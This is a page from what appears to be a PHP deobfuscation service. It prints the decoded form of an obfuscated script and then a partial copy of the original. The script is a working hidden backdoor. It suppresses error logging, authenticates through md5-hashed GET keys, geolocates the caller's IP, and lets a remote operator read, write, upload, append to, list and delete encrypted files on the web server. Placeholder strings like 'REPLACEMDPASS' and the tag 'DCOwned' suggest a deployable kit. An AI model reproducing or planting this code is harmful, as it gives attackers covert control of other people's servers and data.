Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function _479097832($i) { $a = [ "AES-192-OFB", "SERVER_NAM..

Decoded Output download

<?php 
function _479097832($i) 
{ 
    $a = [ 
        "AES-192-OFB", 
        "SERVER_NAME", 
        "AES-192-OFB", 
        "SERVER_NAME", 
        "Europe/London", 
        "display_errors", 
        "log_errors", 
        "upload_max_filesize", 
        "150000M", 
        "post_max_size", 
        "150000M", 
        "max_input_time", 
        "max_execution_time", 
        "REPLACEMDPASS", 
        "DCOwned", 
        "REPLACEFOLDERNAME", 
        "c5ddc7115bcf3f71da27852064fb64aec7c8b63f", 
        "-", 
        "SERVER_NAME", 
        "gettoken", 
        "SERVER_NAME", 
        "gettoken", 
        "SERVER_NAME", 
        "HTTP_CLIENT_IP", 
        "HTTP_CLIENT_IP", 
        "HTTP_X_FORWARDED_FOR", 
        "HTTP_X_FORWARDED_FOR", 
        "REMOTE_ADDR", 
        "SERVER_NAME", 
        "token", 
        "SERVER_NAME", 
        "tkn", 
        "SERVER_NAME", 
        "token_uid", 
        "SERVER_NAME", 
        "status", 
        "SERVER_NAME", 
        "OK", 
        "SERVER_NAME", 
        "workdir", 
        "SERVER_NAME", 
        "ipinfo", 
        "http://www.geoplugin.net/json.gp?ip=", 
        "SERVER_NAME", 
        "status", 
        "SERVER_NAME", 
        "WRONG", 
        "SERVER_NAME", 
        "SERVER_NAME", 
        "val", 
        "SERVER_NAME", 
        "password", 
        "SERVER_NAME", 
        "password", 
        "SERVER_NAME", 
        "status", 
        "SERVER_NAME", 
        "OK", 
        "SERVER_NAME", 
        "workdir", 
        "SERVER_NAME", 
        "token", 
        "SERVER_NAME", 
        "tkn", 
        "SERVER_NAME", 
        "status", 
        "SERVER_NAME", 
        "WRONG", 
        "SERVER_NAME", 
        "SERVER_NAME", 
        "val", 
        "SERVER_NAME", 
        "token", 
        "SERVER_NAME", 
        "token", 
        "SERVER_NAME", 
        "token", 
        "SERVER_NAME", 
        "tkn", 
        "SERVER_NAME", 
        "token_uid", 
        "SERVER_NAME", 
        "getdata", 
        "SERVER_NAME", 
        "getdata", 
        "SERVER_NAME", 
        "name", 
        ".", 
        "", 
        "SERVER_NAME", 
        "extension", 
        "SERVER_NAME", 
        "token_uid", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "SERVER_NAME", 
        "SERVER_NAME", 
        "/", 
        "SERVER_NAME", 
        "setdata", 
        "SERVER_NAME", 
        "setdata", 
        "SERVER_NAME", 
        "name", 
        ".", 
        "", 
        "SERVER_NAME", 
        "extension", 
        "SERVER_NAME", 
        "data", 
        "SERVER_NAME", 
        "token_uid", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "/", 
        "SERVER_NAME", 
        "downloadsafefile_name", 
        "SERVER_NAME", 
        "downloadsafefile_name", 
        "extension", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "/", 
        "SERVER_NAME", 
        "uploadsafefile_name", 
        "SERVER_NAME", 
        "uploadsafefile_name", 
        "extension", 
        "tmp_name", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "/", 
        "SERVER_NAME", 
        "uploadfile_name", 
        "SERVER_NAME", 
        "uploadfile_name", 
        "extension", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "tmp_name", 
        "/", 
        "SERVER_NAME", 
        "adddata", 
        "SERVER_NAME", 
        "adddata", 
        "SERVER_NAME", 
        "name", 
        ".", 
        "", 
        "SERVER_NAME", 
        "extension", 
        "SERVER_NAME", 
        "data", 
        "SERVER_NAME", 
        "token_uid", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "/", 
        "/", 
        "SERVER_NAME", 
        "getallbyext", 
        "SERVER_NAME", 
        "getallbyext", 
        "SERVER_NAME", 
        "extension", 
        "SERVER_NAME", 
        "getdata", 
        "SERVER_NAME", 
        "additionaldata", 
        "php", 
        "html", 
        "htm", 
        "htaccess", 
        "xhtml", 
        "mhtml", 
        "mhtm", 
        "mht", 
        "js", 
        "/*", 
        "SERVER_NAME", 
        "name", 
        "SERVER_NAME", 
        "data", 
        "SERVER_NAME", 
        "lastmodificationtime", 
        "d.m-H:i", 
        "SERVER_NAME", 
        "nowtime", 
        "d.m-H:i", 
        "SERVER_NAME", 
        "additionaldata", 
        "SERVER_NAME", 
        "/", 
        "SERVER_NAME", 
        "delallbyname", 
        "SERVER_NAME", 
        "delallbyname", 
        "SERVER_NAME", 
        "name", 
        "/", 
        "*", 
    ]; 
    return $a[$i]; 
} 
function l_($_, $__) 
{ 
    return openssl_encrypt( 
        $_, 
        _479097832(0), 
        $__, 
        $___ = round(0), 
        $_SERVER[_479097832(1)] 
    ); 
} 
function l__($_, $____) 
{ 
    return openssl_decrypt( 
        $_, 
        _479097832(2), 
        $____, 
        $___ = round(0), 
        $_SERVER[_479097832(3)] 
    ); 
} 
date_default_timezone_set(_479097832(4)); 
error_reporting(round(0)); 
ini_set(_479097832(5), round(0)); 
ini_set(_479097832(6), round(0)); 
ini_set(_479097832(7), _479097832(8)); 
ini_set(_479097832(9), _479097832(10)); 
ini_set(_479097832(11), round(0 + 300)); 
ini_set(_479097832(12), round(0 + 75 + 75 + 75 + 75)); 
$_____ = sha1(_479097832(13)); 
$______ = _479097832(14); 
$_______ = _479097832(15); 
$________ = _479097832(16); 
$_________ = _479097832(17); 
if (isset($_GET[md5($_SERVER[_479097832(18)] . _479097832(19))])) { 
    if ( 
        $_GET[md5($_SERVER[_479097832(20)] . _479097832(21))] == 
        md5($_SERVER[_479097832(22)]) 
    ) { 
        $__________ = rand( 
            round(0 + 2000 + 2000 + 2000 + 2000 + 2000), 
            round(0 + 19999.8 + 19999.8 + 19999.8 + 19999.8 + 19999.8) 
        ); 
        while (true) { 
            if ($__________ % round(0 + 2) == round(0)) { 
                break; 
            } 
            $__________ = rand( 
                round(0 + 2000 + 2000 + 2000 + 2000 + 2000), 
                round(0 + 24999.75 + 24999.75 + 24999.75 + 24999.75) 
            ); 
        } 
        if (!empty($_SERVER[_479097832(23)])) { 
            $___________ = $_SERVER[_479097832(24)]; 
        } elseif (!empty($_SERVER[_479097832(25)])) { 
            $___________ = $_SERVER[_479097832(26)]; 
        } else { 
            $___________ = $_SERVER[_479097832(27)]; 
        } 
        $____________[md5($_SERVER[_479097832(28)] . _479097832(29))] = 
            $__________ . 
            crc32($______ . $_____ . $________) . 
            sha1( 
                $_SERVER[_479097832(30)] . 
                    _479097832(31) . 
                    base64_decode( 
                        strrev( 
                            $_GET[ 
                                md5($_SERVER[_479097832(32)] . _479097832(33)) 
                            ] 
                        ) 
                    ) 
            ); 
        $____________[md5($_SERVER[_479097832(34)] . _479097832(35))] = md5( 
            $_SERVER[_479097832(36)] . _479097832(37) 
        ); 
        $____________[md5($_SERVER[_479097832(38)] . _479097832(39))] = strrev( 
            base64_encode(strrev($_______)) 
        ); 
        $____________[md5($_SERVER[_479097832(40)] . _479097832(41))] = strrev( 
            base64_encode( 
                strrev(file_get_contents(_479097832(42) . $___________)) 
            ) 
        ); 
    } else { 
        $____________[md5($_SERVER[_479097832(43)] . _479097832(44))] = md5( 
            $_SERVER[_479097832(45)] . _479097832(46) 
        ); 
    } 
    $_____________ = rand(round(0 + 1), round(0 + 3 + 3 + 3 + 3 + 3)); 
    for ( 
        $______________ = round(0); 
        $______________ < $_____________; 
        $______________++ 
    ) { 
        $_______________ = md5($_SERVER[_479097832(47)] . $_____________); 
        if (array_key_exists($_______________, $____________)) { 
            continue; 
        } 
        $____________[$_______________] = md5( 
            $_SERVER[_479097832(48)] . _479097832(49) . $_____________ 
        ); 
    } 
    echo strrev(base64_encode(json_encode($____________))); 
    return; 
} elseif (isset($_GET[md5($_SERVER[_479097832(50)] . _479097832(51))])) { 
    if ($_GET[md5($_SERVER[_479097832(52)] . _479097832(53))] == $_____) { 
        $__________ = rand( 
            round(0 + 3333.3333333333 + 3333.3333333333 + 3333.3333333333), 
            round(0 + 19999.8 + 19999.8 + 19999.8 + 19999.8 + 19999.8) 
        ); 
        while (true) { 
            if ( 
                $__________ % 
                    round( 
                        0 + 
                            0.66666666666667 + 
                            0.66666666666667 + 
                            0.66666666666667 
                    ) == 
                round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2) 
            ) { 
                break; 
            } 
            $__________ = rand( 
                round(0 + 2500 + 2500 + 2500 + 2500), 
                round(0 + 99999) 
            ); 
        } 
        $____________[md5($_SERVER[_479097832(54)] . _479097832(55))] = md5( 
            $_SERVER[_479097832(56)] . _479097832(57) 
        ); 
        $____________[md5($_SERVER[_479097832(58)] . _479097832(59))] = strrev( 
            base64_encode(strrev($_______)) 
        ); 
        $____________[md5($_SERVER[_479097832(60)] . _479097832(61))] = 
            $__________ . 
            crc32($______ . $_____ . $________) . 
            sha1($_SERVER[_479097832(62)] . _479097832(63)); 
    } else { 
        $____________[md5($_SERVER[_479097832(64)] . _479097832(65))] = md5( 
            $_SERVER[_479097832(66)] . _479097832(67) 
        ); 
    } 
    $_____________ = rand( 
        round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333), 
        round(0 + 5 + 5 + 5) 
    ); 
    for ( 
        $______________ = round(0); 
        $______________ < $_____________; 
        $______________++ 
    ) { 
        $_______________ = md5($_SERVER[_479097832(68)] . $_____________); 
        if (array_key_exists($_______________, $____________)) { 
            continue; 
        } 
        $____________[$_______________] = md5( 
            $_SERVER[_479097832(69)] . _479097832(70) . $_____________ 
        ); 
    } 
    echo strrev(base64_encode(json_encode($____________))); 
    return; 
} 
$________________ = false; 
if (isset($_GET[md5($_SERVER[_479097832(71)] . _479097832(72))])) { 
    if ( 
        intval( 
            substr( 
                base64_decode( 
                    strrev( 
                        $_GET[md5($_SERVER[_479097832(73)] . _479097832(74))] 
                    ) 
                ), 
                round(0), 
                round(0 + 5) 
            ) 
        ) % 
            round(0 + 1 + 1) == 
        round(0 + 0.5 + 0.5) 
    ) { 
        $________________ = true; 
    } elseif ( 
        substr( 
            base64_decode( 
                strrev($_GET[md5($_SERVER[_479097832(75)] . _479097832(76))]) 
            ), 
            round(0 + 1 + 1 + 1 + 1 + 1) 
        ) == 
        crc32($______ . $_____ . $________) . 
            sha1( 
                $_SERVER[_479097832(77)] . 
                    _479097832(78) . 
                    sha1( 
                        base64_decode( 
                            strrev( 
                                $_GET[ 
                                    md5( 
                                        $_SERVER[_479097832(79)] . 
                                            _479097832(80) 
                                    ) 
                                ] 
                            ) 
                        ) 
                    ) 
            ) 
    ) { 
        $________________ = false; 
    } else { 
        return; 
    } 
} else { 
    return; 
} 
if (!empty($_GET[md5($_SERVER[_479097832(81)] . _479097832(82))])) { 
    $____________ = []; 
    $_________________ = json_decode( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(83)] . _479097832(84))]) 
        ), 
        true 
    ); 
    foreach ($_________________ as $__________________) { 
        $___________________ = 
            $__________________[md5($_SERVER[_479097832(85)] . _479097832(86))]; 
        $____________________ = str_replace( 
            _479097832(87), 
            _479097832(88), 
            $__________________[md5($_SERVER[_479097832(89)] . _479097832(90))] 
        ); 
        if (!$________________) { 
            if ( 
                sha1($___________________) != 
                base64_decode( 
                    strrev( 
                        $_GET[md5($_SERVER[_479097832(91)] . _479097832(92))] 
                    ) 
                ) 
            ) { 
                return; 
            } 
        } 
        if ( 
            $____________________ == _479097832(93) or 
            $____________________ == _479097832(94) or 
            $____________________ == _479097832(95) or 
            $____________________ == _479097832(96) or 
            $____________________ == _479097832(97) or 
            $____________________ == _479097832(98) or 
            $____________________ == _479097832(99) or 
            $____________________ == _479097832(100) or 
            $____________________ == _479097832(101) 
        ) { 
            continue; 
        } 
        $____________[md5($_SERVER[_479097832(102)] . $___________________)][ 
            md5($_SERVER[_479097832(103)] . $____________________) 
        ] = base64_encode( 
            l__( 
                file_get_contents( 
                    $_______ . 
                        _479097832(104) . 
                        $___________________ . 
                        $_________ . 
                        $____________________ 
                ), 
                md5($___________________ . crc32($______ . $_____ . $________)) 
            ) 
        ); 
    } 
    echo strrev(base64_encode(json_encode($____________))); 
} 
if (!empty($_GET[md5($_SERVER[_479097832(105)] . _479097832(106))])) { 
    $_____________________ = json_decode( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(107)] . _479097832(108))]) 
        ), 
        true 
    ); 
    foreach ($_____________________ as $__________________) { 
        $___________________ = 
            $__________________[ 
                md5($_SERVER[_479097832(109)] . _479097832(110)) 
            ]; 
        $____________________ = str_replace( 
            _479097832(111), 
            _479097832(112), 
            $__________________[ 
                md5($_SERVER[_479097832(113)] . _479097832(114)) 
            ] 
        ); 
        $______________________ = base64_decode( 
            $__________________[ 
                md5($_SERVER[_479097832(115)] . _479097832(116)) 
            ] 
        ); 
        if (!$________________) { 
            if ( 
                sha1($___________________) != 
                    base64_decode( 
                        strrev( 
                            $_GET[ 
                                md5($_SERVER[_479097832(117)] . _479097832(118)) 
                            ] 
                        ) 
                    ) or 
                strlen($___________________) != round(0 + 20 + 20) or 
                strlen($____________________) != 
                    round( 
                        0 + 13.333333333333 + 13.333333333333 + 13.333333333333 
                    ) 
            ) { 
                return; 
            } 
        } 
        if ( 
            !ctype_print($____________________) or 
            !ctype_print($___________________) or 
            $____________________ == _479097832(119) or 
            $____________________ == _479097832(120) or 
            $____________________ == _479097832(121) or 
            $____________________ == _479097832(122) or 
            $____________________ == _479097832(123) or 
            $____________________ == _479097832(124) or 
            $____________________ == _479097832(125) or 
            $____________________ == _479097832(126) or 
            $____________________ == _479097832(127) 
        ) { 
            continue; 
        } 
        file_put_contents( 
            $_______ . 
                _479097832(128) . 
                $___________________ . 
                $_________ . 
                $____________________, 
            l_( 
                $______________________, 
                md5($___________________ . crc32($______ . $_____ . $________)) 
            ) 
        ); 
    } 
} 
if (!empty($_GET[md5($_SERVER[_479097832(129)] . _479097832(130))])) { 
    $_______________________ = base64_decode( 
        strrev($_GET[md5($_SERVER[_479097832(131)] . _479097832(132))]) 
    ); 
    $________________________ = pathinfo($_______________________)[ 
        _479097832(133) 
    ]; 
    if ($________________________ == null) { 
        $________________________ = explode( 
            $_________, 
            $_______________________ 
        )[round(0 + 0.25 + 0.25 + 0.25 + 0.25)]; 
    } 
    if ( 
        $________________________ == _479097832(134) or 
        $________________________ == _479097832(135) or 
        $________________________ == _479097832(136) or 
        $________________________ == _479097832(137) or 
        $________________________ == _479097832(138) or 
        $________________________ == _479097832(139) or 
        $________________________ == _479097832(140) or 
        $________________________ == _479097832(141) or 
        $________________________ == _479097832(142) 
    ) { 
        return; 
    } 
    echo l__( 
        file_get_contents( 
            $_______ . _479097832(143) . $_______________________ 
        ), 
        md5($_______________________ . crc32($______ . $_____ . $________)) 
    ); 
} 
if (!empty($_POST[md5($_SERVER[_479097832(144)] . _479097832(145))])) { 
    $_______________________ = base64_decode( 
        strrev($_POST[md5($_SERVER[_479097832(146)] . _479097832(147))]) 
    ); 
    $________________________ = pathinfo($_______________________)[ 
        _479097832(148) 
    ]; 
    if ($________________________ == null) { 
        $________________________ = explode( 
            $_________, 
            $_______________________ 
        )[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)]; 
    } 
    $______________________ = file_get_contents( 
        $_FILES[md5($_______________________)][_479097832(149)] 
    ); 
    if ( 
        !ctype_print($_______________________) or 
        $________________________ == _479097832(150) or 
        $________________________ == _479097832(151) or 
        $________________________ == _479097832(152) or 
        $________________________ == _479097832(153) or 
        $________________________ == _479097832(154) or 
        $________________________ == _479097832(155) or 
        $________________________ == _479097832(156) or 
        $________________________ == _479097832(157) or 
        $________________________ == _479097832(158) 
    ) { 
        return; 
    } 
    file_put_contents( 
        $_______ . _479097832(159) . $_______________________, 
        l_( 
            $______________________, 
            md5($_______________________ . crc32($______ . $_____ . $________)) 
        ) 
    ); 
} 
if (!empty($_POST[md5($_SERVER[_479097832(160)] . _479097832(161))])) { 
    $_______________________ = base64_decode( 
        strrev($_POST[md5($_SERVER[_479097832(162)] . _479097832(163))]) 
    ); 
    $________________________ = pathinfo($_______________________)[ 
        _479097832(164) 
    ]; 
    if ($________________________ == null) { 
        $________________________ = explode( 
            $_________, 
            $_______________________ 
        )[round(0 + 0.5 + 0.5)]; 
    } 
    if ( 
        !ctype_print($_______________________) or 
        $________________________ == _479097832(165) or 
        $________________________ == _479097832(166) or 
        $________________________ == _479097832(167) or 
        $________________________ == _479097832(168) or 
        $________________________ == _479097832(169) or 
        $________________________ == _479097832(170) or 
        $________________________ == _479097832(171) or 
        $________________________ == _479097832(172) or 
        $________________________ == _479097832(173) 
    ) { 
        return; 
    } 
    move_uploaded_file( 
        $_FILES[md5($_______________________)][_479097832(174)], 
        $_______ . _479097832(175) . $_______________________ 
    ); 
} 
if (!empty($_GET[md5($_SERVER[_479097832(176)] . _479097832(177))])) { 
    $_________________________ = json_decode( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(178)] . _479097832(179))]) 
        ), 
        true 
    ); 
    foreach ($_________________________ as $__________________) { 
        $___________________ = 
            $__________________[ 
                md5($_SERVER[_479097832(180)] . _479097832(181)) 
            ]; 
        $____________________ = str_replace( 
            _479097832(182), 
            _479097832(183), 
            $__________________[ 
                md5($_SERVER[_479097832(184)] . _479097832(185)) 
            ] 
        ); 
        $______________________ = base64_decode( 
            $__________________[ 
                md5($_SERVER[_479097832(186)] . _479097832(187)) 
            ] 
        ); 
        if (!$________________) { 
            if ( 
                sha1($___________________) != 
                    base64_decode( 
                        strrev( 
                            $_GET[ 
                                md5($_SERVER[_479097832(188)] . _479097832(189)) 
                            ] 
                        ) 
                    ) or 
                strlen($___________________) != round(0 + 10 + 10 + 10 + 10) or 
                strlen($____________________) != 
                    round( 
                        0 + 13.333333333333 + 13.333333333333 + 13.333333333333 
                    ) 
            ) { 
                return; 
            } 
        } 
        if ( 
            !ctype_print($____________________) or 
            !ctype_print($___________________) or 
            $____________________ == _479097832(190) or 
            $____________________ == _479097832(191) or 
            $____________________ == _479097832(192) or 
            $____________________ == _479097832(193) or 
            $____________________ == _479097832(194) or 
            $____________________ == _479097832(195) or 
            $____________________ == _479097832(196) or 
            $____________________ == _479097832(197) or 
            $____________________ == _479097832(198) 
        ) { 
            continue; 
        } 
        file_put_contents( 
            $_______ . 
                _479097832(199) . 
                $___________________ . 
                $_________ . 
                $____________________, 
            l_( 
                l__( 
                    file_get_contents( 
                        $_______ . 
                            _479097832(200) . 
                            $___________________ . 
                            $_________ . 
                            $____________________ 
                    ), 
                    md5( 
                        $___________________ . 
                            crc32($______ . $_____ . $________) 
                    ) 
                ) . $______________________, 
                md5($___________________ . crc32($______ . $_____ . $________)) 
            ) 
        ); 
    } 
} 
if ( 
    !empty( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(201)] . _479097832(202))]) 
        ) 
    ) and 
    $________________ == true 
) { 
    $____________ = []; 
    $__________________________ = json_decode( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(203)] . _479097832(204))]) 
        ), 
        true 
    ); 
    $____________________ = 
        $__________________________[ 
            md5($_SERVER[_479097832(205)] . _479097832(206)) 
        ]; 
    $_________________ = 
        $__________________________[ 
            md5($_SERVER[_479097832(207)] . _479097832(208)) 
        ]; 
    $___________________________ = 
        $__________________________[ 
            md5($_SERVER[_479097832(209)] . _479097832(210)) 
        ]; 
    if ( 
        $____________________ == _479097832(211) or 
        $____________________ == _479097832(212) or 
        $____________________ == _479097832(213) or 
        $____________________ == _479097832(214) or 
        $____________________ == _479097832(215) or 
        $____________________ == _479097832(216) or 
        $____________________ == _479097832(217) or 
        $____________________ == _479097832(218) or 
        $____________________ == _479097832(219) 
    ) { 
        return; 
    } 
    $____________________________ = glob( 
        $_______ . _479097832(220) . $_________ . $____________________ 
    ); 
    foreach ($____________________________ as $__________________) { 
        $_____________________________ = basename( 
            $__________________, 
            $_________ . $____________________ 
        ); 
        $____________[$_____________________________][ 
            md5($_SERVER[_479097832(221)] . _479097832(222)) 
        ] = $_____________________________; 
        if ($_________________ == true) { 
            $____________[$_____________________________][ 
                md5($_SERVER[_479097832(223)] . _479097832(224)) 
            ] = base64_encode( 
                l__( 
                    file_get_contents($__________________), 
                    md5( 
                        $_____________________________ . 
                            crc32($______ . $_____ . $________) 
                    ) 
                ) 
            ); 
            $____________[$_____________________________][ 
                md5($_SERVER[_479097832(225)] . _479097832(226)) 
            ] = base64_encode( 
                date(_479097832(227), filemtime($__________________)) 
            ); 
            $____________[$_____________________________][ 
                md5($_SERVER[_479097832(228)] . _479097832(229)) 
            ] = base64_encode(date(_479097832(230))); 
        } 
        if (count($___________________________) > round(0)) { 
            foreach ( 
                $___________________________ 
                as $______________________________ 
            ) { 
                $_______________________________ = base64_decode( 
                    $______________________________ 
                ); 
                $____________[$_____________________________][ 
                    md5($_SERVER[_479097832(231)] . _479097832(232)) 
                ][ 
                    md5( 
                        $_SERVER[_479097832(233)] . 
                            $_______________________________ 
                    ) 
                ] = base64_encode( 
                    l__( 
                        file_get_contents( 
                            $_______ . 
                                _479097832(234) . 
                                $_____________________________ . 
                                $_________ . 
                                sha1( 
                                    $_______________________________ . 
                                        $_____________________________ 
                                ) 
                        ), 
                        md5( 
                            $_____________________________ . 
                                crc32($______ . $_____ . $________) 
                        ) 
                    ) 
                ); 
            } 
        } 
    } 
    echo strrev(base64_encode(json_encode($____________))); 
} 
if ( 
    !empty( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(235)] . _479097832(236))]) 
        ) 
    ) and 
    $________________ == true 
) { 
    $________________________________ = json_decode( 
        base64_decode( 
            strrev($_GET[md5($_SERVER[_479097832(237)] . _479097832(238))]) 
        ), 
        true 
    ); 
    foreach ($________________________________ as $__________________) { 
        $___________________ = 
            $__________________[ 
                md5($_SERVER[_479097832(239)] . _479097832(240)) 
            ]; 
        $____________________________ = glob( 
            $_______ . 
                _479097832(241) . 
                $___________________ . 
                $_________ . 
                _479097832(242) 
        ); 
        foreach ($____________________________ as $__________________) { 
            unlink($__________________); 
        } 
    } 
} 
 ?>

Did this file decode correctly?

Original Code

<?php
function _479097832($i)
{
    $a = [
        "AES-192-OFB",
        "SERVER_NAME",
        "AES-192-OFB",
        "SERVER_NAME",
        "Europe/London",
        "display_errors",
        "log_errors",
        "upload_max_filesize",
        "150000M",
        "post_max_size",
        "150000M",
        "max_input_time",
        "max_execution_time",
        "REPLACEMDPASS",
        "DCOwned",
        "REPLACEFOLDERNAME",
        "c5ddc7115bcf3f71da27852064fb64aec7c8b63f",
        "-",
        "SERVER_NAME",
        "gettoken",
        "SERVER_NAME",
        "gettoken",
        "SERVER_NAME",
        "HTTP_CLIENT_IP",
        "HTTP_CLIENT_IP",
        "HTTP_X_FORWARDED_FOR",
        "HTTP_X_FORWARDED_FOR",
        "REMOTE_ADDR",
        "SERVER_NAME",
        "token",
        "SERVER_NAME",
        "tkn",
        "SERVER_NAME",
        "token_uid",
        "SERVER_NAME",
        "status",
        "SERVER_NAME",
        "OK",
        "SERVER_NAME",
        "workdir",
        "SERVER_NAME",
        "ipinfo",
        "http://www.geoplugin.net/json.gp?ip=",
        "SERVER_NAME",
        "status",
        "SERVER_NAME",
        "WRONG",
        "SERVER_NAME",
        "SERVER_NAME",
        "val",
        "SERVER_NAME",
        "password",
        "SERVER_NAME",
        "password",
        "SERVER_NAME",
        "status",
        "SERVER_NAME",
        "OK",
        "SERVER_NAME",
        "workdir",
        "SERVER_NAME",
        "token",
        "SERVER_NAME",
        "tkn",
        "SERVER_NAME",
        "status",
        "SERVER_NAME",
        "WRONG",
        "SERVER_NAME",
        "SERVER_NAME",
        "val",
        "SERVER_NAME",
        "token",
        "SERVER_NAME",
        "token",
        "SERVER_NAME",
        "token",
        "SERVER_NAME",
        "tkn",
        "SERVER_NAME",
        "token_uid",
        "SERVER_NAME",
        "getdata",
        "SERVER_NAME",
        "getdata",
        "SERVER_NAME",
        "name",
        ".",
        "",
        "SERVER_NAME",
        "extension",
        "SERVER_NAME",
        "token_uid",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "SERVER_NAME",
        "SERVER_NAME",
        "/",
        "SERVER_NAME",
        "setdata",
        "SERVER_NAME",
        "setdata",
        "SERVER_NAME",
        "name",
        ".",
        "",
        "SERVER_NAME",
        "extension",
        "SERVER_NAME",
        "data",
        "SERVER_NAME",
        "token_uid",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "/",
        "SERVER_NAME",
        "downloadsafefile_name",
        "SERVER_NAME",
        "downloadsafefile_name",
        "extension",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "/",
        "SERVER_NAME",
        "uploadsafefile_name",
        "SERVER_NAME",
        "uploadsafefile_name",
        "extension",
        "tmp_name",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "/",
        "SERVER_NAME",
        "uploadfile_name",
        "SERVER_NAME",
        "uploadfile_name",
        "extension",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "tmp_name",
        "/",
        "SERVER_NAME",
        "adddata",
        "SERVER_NAME",
        "adddata",
        "SERVER_NAME",
        "name",
        ".",
        "",
        "SERVER_NAME",
        "extension",
        "SERVER_NAME",
        "data",
        "SERVER_NAME",
        "token_uid",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "/",
        "/",
        "SERVER_NAME",
        "getallbyext",
        "SERVER_NAME",
        "getallbyext",
        "SERVER_NAME",
        "extension",
        "SERVER_NAME",
        "getdata",
        "SERVER_NAME",
        "additionaldata",
        "php",
        "html",
        "htm",
        "htaccess",
        "xhtml",
        "mhtml",
        "mhtm",
        "mht",
        "js",
        "/*",
        "SERVER_NAME",
        "name",
        "SERVER_NAME",
        "data",
        "SERVER_NAME",
        "lastmodificationtime",
        "d.m-H:i",
        "SERVER_NAME",
        "nowtime",
        "d.m-H:i",
        "SERVER_NAME",
        "additionaldata",
        "SERVER_NAME",
        "/",
        "SERVER_NAME",
        "delallbyname",
        "SERVER_NAME",
        "delallbyname",
        "SERVER_NAME",
        "name",
        "/",
        "*",
    ];
    return $a[$i];
}
function l_($_, $__)
{
    return openssl_encrypt(
        $_,
        _479097832(0),
        $__,
        $___ = round(0),
        $_SERVER[_479097832(1)]
    );
}
function l__($_, $____)
{
    return openssl_decrypt(
        $_,
        _479097832(2),
        $____,
        $___ = round(0),
        $_SERVER[_479097832(3)]
    );
}
date_default_timezone_set(_479097832(4));
error_reporting(round(0));
ini_set(_479097832(5), round(0));
ini_set(_479097832(6), round(0));
ini_set(_479097832(7), _479097832(8));
ini_set(_479097832(9), _479097832(10));
ini_set(_479097832(11), round(0 + 300));
ini_set(_479097832(12), round(0 + 75 + 75 + 75 + 75));
$_____ = sha1(_479097832(13));
$______ = _479097832(14);
$_______ = _479097832(15);
$________ = _479097832(16);
$_________ = _479097832(17);
if (isset($_GET[md5($_SERVER[_479097832(18)] . _479097832(19))])) {
    if (
        $_GET[md5($_SERVER[_479097832(20)] . _479097832(21))] ==
        md5($_SERVER[_479097832(22)])
    ) {
        $__________ = rand(
            round(0 + 2000 + 2000 + 2000 + 2000 + 2000),
            round(0 + 19999.8 + 19999.8 + 19999.8 + 19999.8 + 19999.8)
        );
        while (true) {
            if ($__________ % round(0 + 2) == round(0)) {
                break;
            }
            $__________ = rand(
                round(0 + 2000 + 2000 + 2000 + 2000 + 2000),
                round(0 + 24999.75 + 24999.75 + 24999.75 + 24999.75)
            );
        }
        if (!empty($_SERVER[_479097832(23)])) {
            $___________ = $_SERVER[_479097832(24)];
        } elseif (!empty($_SERVER[_479097832(25)])) {
            $___________ = $_SERVER[_479097832(26)];
        } else {
            $___________ = $_SERVER[_479097832(27)];
        }
        $____________[md5($_SERVER[_479097832(28)] . _479097832(29))] =
            $__________ .
            crc32($______ . $_____ . $________) .
            sha1(
                $_SERVER[_479097832(30)] .
                    _479097832(31) .
                    base64_decode(
                        strrev(
                            $_GET[
                                md5($_SERVER[_479097832(32)] . _479097832(33))
                            ]
                        )
                    )
            );
        $____________[md5($_SERVER[_479097832(34)] . _479097832(35))] = md5(
            $_SERVER[_479097832(36)] . _479097832(37)
        );
        $____________[md5($_SERVER[_479097832(38)] . _479097832(39))] = strrev(
            base64_encode(strrev($_______))
        );
        $____________[md5($_SERVER[_479097832(40)] . _479097832(41))] = strrev(
            base64_encode(
                strrev(file_get_contents(_479097832(42) . $___________))
            )
        );
    } else {
        $____________[md5($_SERVER[_479097832(43)] . _479097832(44))] = md5(
            $_SERVER[_479097832(45)] . _479097832(46)
        );
    }
    $_____________ = rand(round(0 + 1), round(0 + 3 + 3 + 3 + 3 + 3));
    for (
        $______________ = round(0);
        $______________ < $_____________;
        $______________++
    ) {
        $_______________ = md5($_SERVER[_479097832(47)] . $_____________);
        if (array_key_exists($_______________, $____________)) {
            continue;
        }
        $____________[$_______________] = md5(
            $_SERVER[_479097832(48)] . _479097832(49) . $_____________
        );
    }
